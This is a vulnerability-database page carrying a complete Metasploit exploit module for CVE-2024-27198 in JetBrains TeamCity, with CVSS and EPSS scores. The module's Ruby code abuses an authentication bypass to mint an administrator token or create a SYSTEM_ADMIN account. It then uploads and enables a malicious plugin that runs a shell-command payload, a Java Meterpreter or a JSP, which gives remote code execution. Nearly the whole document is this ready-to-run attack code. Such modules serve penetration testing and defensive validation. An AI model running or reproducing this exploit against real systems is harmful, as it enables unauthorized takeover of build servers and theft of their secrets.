Lucene search

K
metasploitSfewer-r7MSF:EXPLOIT-MULTI-HTTP-JETBRAINS_TEAMCITY_RCE_CVE_2024_27198-
HistoryMar 01, 2024 - 4:42 p.m.

JetBrains TeamCity Unauthenticated Remote Code Execution

2024-03-0116:42:59
sfewer-r7
www.rapid7.com
126
jetbrains
teamcity
remote code execution
authentication bypass
rest api
administrator access
metasploit payload
exploit

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

8.2

Confidence

Low

EPSS

0.969

Percentile

99.8%

This module exploits an authentication bypass vulnerability in JetBrains TeamCity. An unauthenticated attacker can leverage this to access the REST API and create a new administrator access token. This token can be used to upload a plugin which contains a Metasploit payload, allowing the attacker to achieve unauthenticated RCE on the target TeamCity server. On older versions of TeamCity, access tokens do not exist so the exploit will instead create a new administrator account before uploading a plugin. Older version of TeamCity have a debug endpoint (/app/rest/debug/process) that allows for arbitrary commands to be executed, however recent version of TeamCity no longer ship this endpoint, hence why a plugin is leveraged for code execution instead, as this is supported on all versions tested.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'JetBrains TeamCity Unauthenticated Remote Code Execution',
        'Description' => %q{
          This module exploits an authentication bypass vulnerability in JetBrains TeamCity. An unauthenticated
          attacker can leverage this to access the REST API and create a new administrator access token. This token
          can be used to upload a plugin which contains a Metasploit payload, allowing the attacker to achieve
          unauthenticated RCE on the target TeamCity server. On older versions of TeamCity, access tokens do not exist
          so the exploit will instead create a new administrator account before uploading a plugin. Older version of
          TeamCity have a debug endpoint (/app/rest/debug/process) that allows for arbitrary commands to be executed,
          however recent version of TeamCity no longer ship this endpoint, hence why a plugin is leveraged for code
          execution instead, as this is supported on all versions tested.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'sfewer-r7', # Discovery, Analysis, Exploit
        ],
        'References' => [
          ['CVE', '2024-27198'],
          ['URL', 'https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/'],
          ['URL', 'https://blog.jetbrains.com/teamcity/2024/03/teamcity-2023-11-4-is-out/']
        ],
        'DisclosureDate' => '2024-03-04',
        'Platform' => %w[java win linux unix],
        'Arch' => [ARCH_JAVA, ARCH_CMD],
        'Privileged' => false, # TeamCity may be installed to run as local system/root, or it may be run as a custom user account.
        # Tested against:
        # * TeamCity 2023.11.3 (build 147512) running on Windows Server 2022
        # * TeamCity 2023.11.2 (build 147486) running on Windows Server 2022
        # * TeamCity 2023.11.3 (build 147512) running on Linux
        # * TeamCity 2018.2.4 (build 61678) running on Windows Server 2016
        'Targets' => [
          [
            'Java', {
              'Platform' => 'java',
              'Arch' => ARCH_JAVA,
              'DefaultOptions' => {
                # We execute the Java payload in a thread in the target Tomcat process. Spawn must be 0 for this to
                # happen, otherwise Spawn forces the Paylaod.java class to drop the payload to disk. For an unknown
                # reason Spawn > 0 will not work against TeamCity on Linux.
                'Spawn' => 0
              }
            }
          ],
          [
            'Java Server Page', {
              'Platform' => %w[win linux unix],
              'Arch' => ARCH_JAVA
            }
          ],
          [
            'Windows Command', {
              'Platform' => 'win',
              'Arch' => ARCH_CMD
            }
          ],
          [
            'Linux Command', {
              'Platform' => 'linux',
              'Arch' => ARCH_CMD
            }
          ],
          [
            'Unix Command', {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        # By default TeamCity listens for HTTP requests on TCP port 8111 (Older version of the product listen on
        # port 80 by default).
        Opt::RPORT(8111),
        OptString.new('TARGETURI', [true, 'The base path to TeamCity', '/']),
        # The first user created during installation is an administrator account, so the ID will be 1.
        OptInt.new('TEAMCITY_ADMIN_ID', [true, 'The ID of an administrator account to authenticate as', 1])
      ]
    )
  end

  # This is the authentication bypass vulnerability, allowing any authenticated endpoint to be access unauthenticated.
  def send_auth_bypass_request_cgi(opts = {})
    # The file name of the .jsp can be 0 or more characters (it just has to end in .jsp)
    vars_get = {
      'jsp' => "#{opts['uri']};#{Rex::Text.rand_text_alphanumeric(rand(8))}.jsp"
    }

    # Add in 0 or more random query parameters, and ensure the order is shuffled in the request.
    0.upto(rand(8)) do
      vars_get[Rex::Text.rand_text_alphanumeric(rand(1..8))] = Rex::Text.rand_text_alphanumeric(rand(1..16))
    end

    opts['vars_get'] ||= {}

    opts['vars_get'].merge!(vars_get)

    opts['shuffle_get_params'] = true

    opts['uri'] = normalize_uri(target_uri.path, Rex::Text.rand_text_alphanumeric(8))

    send_request_cgi(opts)
  end

  def check
    # We leverage the vulnerability to reach the /app/rest/server endpoint. If this request succeeds then we know the
    # target is vulnerable.
    server_res = send_auth_bypass_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server')
    )

    return CheckCode::Unknown('Connection failed') unless server_res

    # A patched TeamCity, e.g. 2023.11.4, reports 403 (Forbidden)
    return CheckCode::Safe if server_res.code == 403

    return CheckCode::Unknown("Received unexpected HTTP status code: #{server_res.code}.") unless server_res.code == 200

    # We can request /app/rest/debug/jvm/systemProperties and pull out the Java "os.name" property. We dont fail the
    # check routine if this request fails, as we have enough info to provide a CheckCode, however displaying the target
    # platform can help inform the user what payload target to choose (i.e. Windows or Linux).
    sysprop_res = send_auth_bypass_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'debug', 'jvm', 'systemProperties')
    )

    platform = ''

    if sysprop_res&.code == 200
      xml_sysprop_data = sysprop_res.get_xml_document

      os_name = xml_sysprop_data&.at('property[name="os.name"]')

      platform = " running on #{os_name.attr('value')}" if os_name
    end

    xml_server_data = server_res.get_xml_document

    server_data = xml_server_data&.at('server')

    version = " #{server_data.attr('version')}" if server_data

    CheckCode::Vulnerable("JetBrains TeamCity#{version}#{platform}.")
  end

  def exploit
    #
    # 1. Leverage the auth bypass to generate a new administrator access token. Older version of TeamCity (circa 2018)
    #    do not have support for access token, so we fall back to creating a new administrator account. The benefit
    #    of using an access token is we can delete it when we are finished, unlike a user account.
    #
    token_name = Rex::Text.rand_text_alphanumeric(8)

    res = send_auth_bypass_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'users', "id:#{datastore['TEAMCITY_ADMIN_ID']}", 'tokens', token_name)
    )

    if res && (res.code == 404) && res.body.include?('api.NotFoundException')

      print_warning('Tokens API not found, falling back to creating an admin user.')

      token_name = nil
      token_value = nil

      http_authorization = auth_new_admin_user

      fail_with(Failure::NoAccess, 'Failed to login with new admin user credentials.') if http_authorization.nil?
    else
      unless res&.code == 200
        # One reason token creation may fail is if we use a user ID for a user that does not exist. We detect that here
        # and instruct the user to choose a new ID via the TEAMCITY_ADMIN_ID option.
        if res && (res.code == 404) && res.body.include?('User not found')
          print_warning('User not found. Try setting the TEAMCITY_ADMIN_ID option to a different ID.')
        end

        fail_with(Failure::UnexpectedReply, 'Failed to create an authentication token.')
      end

      # Extract the authentication token from the response.
      token_value = res.get_xml_document&.xpath('/token')&.attr('value')&.to_s

      fail_with(Failure::UnexpectedReply, 'Failed to read authentication token from reply.') if token_value.nil?

      print_status("Created authentication token: #{token_value}")

      http_authorization = "Bearer #{token_value}"
    end

    # As we have created an access token, this begin block ensures we delete the token when we are done.
    begin
      #
      # 2. Create a malicious TeamCity plugin to host our payload.
      #
      plugin_name = Rex::Text.rand_text_alphanumeric(8)

      zip_plugin = create_payload_plugin(plugin_name)

      fail_with(Failure::BadConfig, 'Could not create the payload plugin.') if zip_plugin.nil?

      #
      # 3. Upload the payload plugin to the TeamCity server
      #
      print_status("Uploading plugin: #{plugin_name}")

      message = Rex::MIME::Message.new

      message.add_part(
        "#{plugin_name}.zip",
        nil,
        nil,
        'form-data; name="fileName"'
      )

      message.add_part(
        zip_plugin.pack.to_s,
        'application/octet-stream',
        'binary',
        "form-data; name=\"file:fileToUpload\"; filename=\"#{plugin_name}.zip\""
      )

      res = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'admin', 'pluginUpload.html'),
        'ctype' => 'multipart/form-data; boundary=' + message.bound,
        'keep_cookies' => true,
        'headers' => {
          'Origin' => full_uri,
          'Authorization' => http_authorization
        },
        'data' => message.to_s
      )

      fail_with(Failure::UnexpectedReply, 'Failed to upload the plugin.') unless res&.code == 200

      #
      # 4. We have to enable the newly uploaded plugin so the plugin actually loads into the server.
      #
      res = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'admin', 'plugins.html'),
        'keep_cookies' => true,
        'headers' => {
          'Origin' => full_uri,
          'Authorization' => http_authorization
        },
        'vars_post' => {
          'action' => 'loadAll',
          'plugins' => plugin_name
        }
      )

      fail_with(Failure::UnexpectedReply, 'Failed to load the plugin.') unless res&.code == 200

      # As we have uploaded the plugin, this begin block ensure we delete the plugin when we are done.
      begin
        #
        # 5. Begin to clean up, register several paths for cleanup.
        #
        if (install_path, sep = get_install_path(http_authorization))
          vprint_status("Target install path: #{install_path}")

          if target['Arch'] == ARCH_JAVA
            # The Java payload plugin will have its buildServerResources extracted to a path like:
            # C:\TeamCity\webapps\ROOT\plugins\yxfyjrBQ
            # So we register this for cleanup.
            # Note: The java process may recreate this a second time after we delete it.
            register_dir_for_cleanup([install_path, 'webapps', 'ROOT', 'plugins', plugin_name].join(sep))
          end

          if (build_number = get_build_number(http_authorization))
            vprint_status("Target build number: #{build_number}")

            # The Tomcat web server will compile our ARCH_JAVA payload and store the associated .class files in a
            # path like: C:\TeamCity\work\Catalina\localhost\ROOT\TC_147512_6vDwPWJs\org\apache\jsp\plugins\_6vDwPWJs\
            # So we register this for cleanup too. This folder will be created for a ARCH_CMD payload, although
            # it will be empty.
            register_dir_for_cleanup([install_path, 'work', 'Catalina', 'localhost', 'ROOT', "TC_#{build_number}_#{plugin_name}"].join(sep))
          else
            print_warning('Could not discover build number. Unable to register Catalina files for cleanup.')
          end
        else
          print_warning('Could not discover install path. Unable to register files for cleanup.')
        end

        # On a Linux target we see the extracted plugin file remaining here even after we delete the plugin.
        # /home/teamcity/.BuildServer/system/caches/plugins.unpacked/XXXXXXXX/
        if (data_path = get_data_dir_path(http_authorization))
          vprint_status("Target data directory path: #{data_path}")

          register_dir_for_cleanup([data_path, 'system', 'caches', 'plugins.unpacked', plugin_name].join(sep))
        else
          print_warning('Could not discover data directory path. Unable to register files for cleanup.')
        end

        #
        # 6. Trigger the payload and get a session. ARCH_JAVA JSP payloads need us to hit an endpoint. ARCH_JAVA Java
        # payloads and ARCH_CMD payloads are triggered upon enabling a loaded plugin.
        #
        if target['Arch'] == ARCH_JAVA && target['Platform'] != 'java'
          res = send_request_cgi(
            'method' => 'GET',
            'uri' => normalize_uri(target_uri.path, 'plugins', plugin_name, "#{plugin_name}.jsp"),
            'keep_cookies' => true,
            'headers' => {
              'Origin' => full_uri,
              'Authorization' => http_authorization
            }
          )

          fail_with(Failure::UnexpectedReply, 'Failed to trigger the payload.') unless res&.code == 200
        end
      ensure
        #
        # 7. Ensure we delete the plugin from the server when we are finished.
        #
        print_status('Deleting the plugin...')

        print_warning('Failed to delete the plugin.') unless delete_plugin(http_authorization, plugin_name)
      end
    ensure
      #
      # 8. Ensure we delete the access token we created when we are finished. If we authorized via a user name and
      #    password, we cannot delete the user account we created.
      #
      if token_name && token_value
        print_status('Deleting the authentication token...')

        print_warning('Failed to delete the authentication token.') unless delete_token(token_name, token_value)
      end
    end
  end

  def auth_new_admin_user
    admin_username = Faker::Internet.username
    admin_password = Rex::Text.rand_text_alphanumeric(16)

    res = send_auth_bypass_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'users'),
      'ctype' => 'application/json',
      'data' => {
        'username' => admin_username,
        'password' => admin_password,
        'name' => Faker::Name.name,
        'email' => Faker::Internet.email(name: admin_username),
        'roles' => {
          'role' => [
            {
              'roleId' => 'SYSTEM_ADMIN',
              'scope' => 'g'
            }
          ]
        }
      }.to_json
    )

    unless res&.code == 200
      print_warning('Failed to create an administrator user.')
      return nil
    end

    print_status("Created account: #{admin_username}:#{admin_password} (Note: This account will not be deleted by the module)")

    http_authorization = basic_auth(admin_username, admin_password)

    # Login via HTTP basic authorization and store the session cookie.
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin', 'admin.html'),
      'keep_cookies' => true,
      'headers' => {
        'Origin' => full_uri,
        'Authorization' => http_authorization
      }
    )

    # A failed login attempt will return in a 401. We expect a 302 redirect upon success.
    if res&.code == 401
      print_warning('Failed to login with new admin user credentials.')
      return nil
    end

    http_authorization
  end

  def create_payload_plugin(plugin_name)
    if target['Arch'] == ARCH_CMD

      case target['Platform']
      when 'win'
        shell = 'cmd.exe'
        flag = '/c'
      when 'linux', 'unix'
        shell = '/bin/sh'
        flag = '-c'
      else
        print_warning('Unsupported target platform.')
        return nil
      end

      zip_resources = Rex::Zip::Archive.new

      zip_resources.add_file(
        "META-INF/build-server-plugin-#{plugin_name}.xml",
        <<~XML
          <?xml version="1.0" encoding="UTF-8"?>
          <beans xmlns="http://www.springframework.org/schema/beans"
            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
            xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd"
            default-autowire="constructor">
            <bean id="#{Rex::Text.rand_text_alpha(8)}" class="java.lang.ProcessBuilder" init-method="start">
              <constructor-arg>
                <list>
                  <value>#{shell}</value>
                  <value>#{flag}</value>
                  <value><![CDATA[#{payload.encoded}]]></value>
                </list>
              </constructor-arg>
            </bean>
          </beans>
        XML
      )
    elsif target['Arch'] == ARCH_JAVA
      # If the platform is java we can bootstrap a Java Meterpreter
      if target['Platform'] == 'java'
        zip_resources = payload.encoded_jar(random: true)

        # Add in PayloadServlet as this is implements Runable and we can run the payload in a thread.
        servlet = MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class')
        zip_resources.add_file('/metasploit/PayloadServlet.class', servlet)

        payload_bean_id = Rex::Text.rand_text_alpha(8)

        # We start the payload in a new thread via some Spring Expression Language (SpEL).
        bootstrap_spel = "\#{ new java.lang.Thread(#{payload_bean_id}).start() }"

        # NOTE: We place bootstrap_spel in a separate bean, as if this generates an exception the plugin will fail
        # to load correctly, which prevents the exploit from deleting the plugin later. We choose java.beans.Encoder
        # as the setExceptionListener method will accept the null value the bootstrap_spel will generate. If we
        # choose a property that does not exist, we generate several exceptions in the teamcity-server.log.

        zip_resources.add_file(
          "META-INF/build-server-plugin-#{plugin_name}.xml",
          <<~XML
            <?xml version="1.0" encoding="UTF-8"?>
            <beans xmlns="http://www.springframework.org/schema/beans"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd">
              <bean id="#{payload_bean_id}" class="#{zip_resources.substitutions['metasploit']}.PayloadServlet"/>
              <bean class="java.beans.Encoder">
                <property name="exceptionListener" value="#{bootstrap_spel}"/>
              </bean>
            </beans>
          XML
        )
      else
        # For non java platforms with ARCH_JAVA, we can drop a JSP payload.
        zip_resources = Rex::Zip::Archive.new

        zip_resources.add_file("buildServerResources/#{plugin_name}.jsp", payload.encoded)
      end

    else
      print_warning('Unsupported target architecture.')
      return nil
    end

    zip_plugin = Rex::Zip::Archive.new

    zip_plugin.add_file(
      'teamcity-plugin.xml',
      <<~XML
        <?xml version="1.0" encoding="UTF-8"?>
        <teamcity-plugin xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:schemas-jetbrains-com:teamcity-plugin-v1-xml">
          <info>
            <name>#{plugin_name}</name>
              <display-name>#{plugin_name}</display-name>
              <description>#{Faker::Lorem.sentence}</description>
              <version>#{Faker::App.semantic_version}</version>
              <vendor>
              <name>#{Faker::Company.name}</name>
              <url>#{Faker::Internet.url}</url>
            </vendor>
          </info>
          <deployment use-separate-classloader="true" node-responsibilities-aware="true"/>
        </teamcity-plugin>
      XML
    )

    zip_plugin.add_file("server/#{plugin_name}.jar", zip_resources.pack)

    zip_plugin
  end

  def get_install_path(http_authorization)
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server', 'plugins'),
      'keep_cookies' => true,
      'headers' => {
        'Origin' => full_uri,
        'Authorization' => http_authorization
      }
    )

    unless res&.code == 200
      print_warning('Failed to request plugins information.')
      return nil
    end

    plugins_xml = res.get_xml_document

    restapi_data = plugins_xml.at("//plugin[@name='rest-api']")

    restapi_load_path = restapi_data&.attr('loadPath')

    if restapi_load_path.nil?
      print_warning('Failed to extract plugin loadPath.')
      return nil
    end

    # C:\TeamCity\webapps\ROOT\WEB-INF\plugins\rest-api

    platforms = {
      '\\webapps\\ROOT\\WEB-INF\\plugins\\' => '\\',
      '/webapps/ROOT/WEB-INF/plugins/' => '/'
    }

    platforms.each do |path, sep|
      if (pos = restapi_load_path.index(path))
        return [restapi_load_path[0, pos], sep]
      end
    end

    print_warning('Failed to extract install path.')
    nil
  end

  def get_data_dir_path(http_authorization)
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server', 'dataDirectoryPath'),
      'keep_cookies' => true,
      'headers' => {
        'Origin' => full_uri,
        'Authorization' => http_authorization
      }
    )

    unless res&.code == 200
      print_warning('Failed to request data directory path.')
      return nil
    end

    res.body
  end

  def get_build_number(http_authorization)
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server'),
      'keep_cookies' => true,
      'headers' => {
        'Origin' => full_uri,
        'Authorization' => http_authorization
      }
    )

    unless res&.code == 200
      print_warning('Failed to request server information.')
      return nil
    end

    xml_data = res.get_xml_document

    server_data = xml_data.at('server')

    server_data.attr('buildNumber')
  end

  def get_plugin_uuid(http_authorization, plugin_name)
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin', 'admin.html'),
      'keep_cookies' => true,
      'headers' => {
        'Origin' => full_uri,
        'Authorization' => http_authorization
      },
      'vars_get' => {
        'item' => 'plugins'
      }
    )

    unless res&.code == 200
      print_warning('Failed to list all plugins.')
      return nil
    end

    uuid_match = res.body.match(/'#{Regexp.quote(plugin_name)}', '([a-fA-F0-9]{8}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{12})'/)

    if uuid_match&.length != 2
      print_warning('Failed to grep for plugin GUID')
      return nil
    end

    uuid_match[1]
  end

  def delete_plugin(http_authorization, plugin_name)
    plugin_uuid = get_plugin_uuid(http_authorization, plugin_name)

    if plugin_uuid.nil?
      print_warning('Failed to discover enabled plugin UUID')
      return false
    end

    vprint_status("Enabled Plugin UUID: #{plugin_uuid}")

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin', 'plugins.html'),
      'keep_cookies' => true,
      'headers' => {
        'Origin' => full_uri,
        'Authorization' => http_authorization
      },
      'vars_post' => {
        'action' => 'setEnabled',
        'enabled' => 'false',
        'uuid' => plugin_uuid
      }
    )

    unless res&.code == 200
      print_warning('Failed to disable the plugin.')
      return false
    end

    # The UUID changes after we disable the plugin, so we need to call get_plugin_uuid a second time.
    plugin_uuid = get_plugin_uuid(http_authorization, plugin_name)

    if plugin_uuid.nil?
      print_warning('Failed to discover disabled plugin UUID')
      return false
    end

    vprint_status("Disabled Plugin UUID: #{plugin_uuid}")

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin', 'plugins.html'),
      'keep_cookies' => true,
      'headers' => {
        'Origin' => full_uri,
        'Authorization' => http_authorization
      },
      'vars_post' => {
        'action' => 'delete',
        'uuid' => plugin_uuid
      }
    )

    unless res&.code == 200
      print_warning('Failed request for plugin deletion.')
      return false
    end

    true
  end

  def delete_token(token_name, token_value)
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin', 'accessTokens.html'),
      'keep_cookies' => true,
      'headers' => {
        'Origin' => full_uri,
        'Authorization' => "Bearer #{token_value}"
      },
      'vars_post' => {
        'accessTokenName' => token_name,
        'delete' => 'true',
        'userId' => datastore['TEAMCITY_ADMIN_ID']
      }
    )

    res&.code == 200
  end

end

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

8.2

Confidence

Low

EPSS

0.969

Percentile

99.8%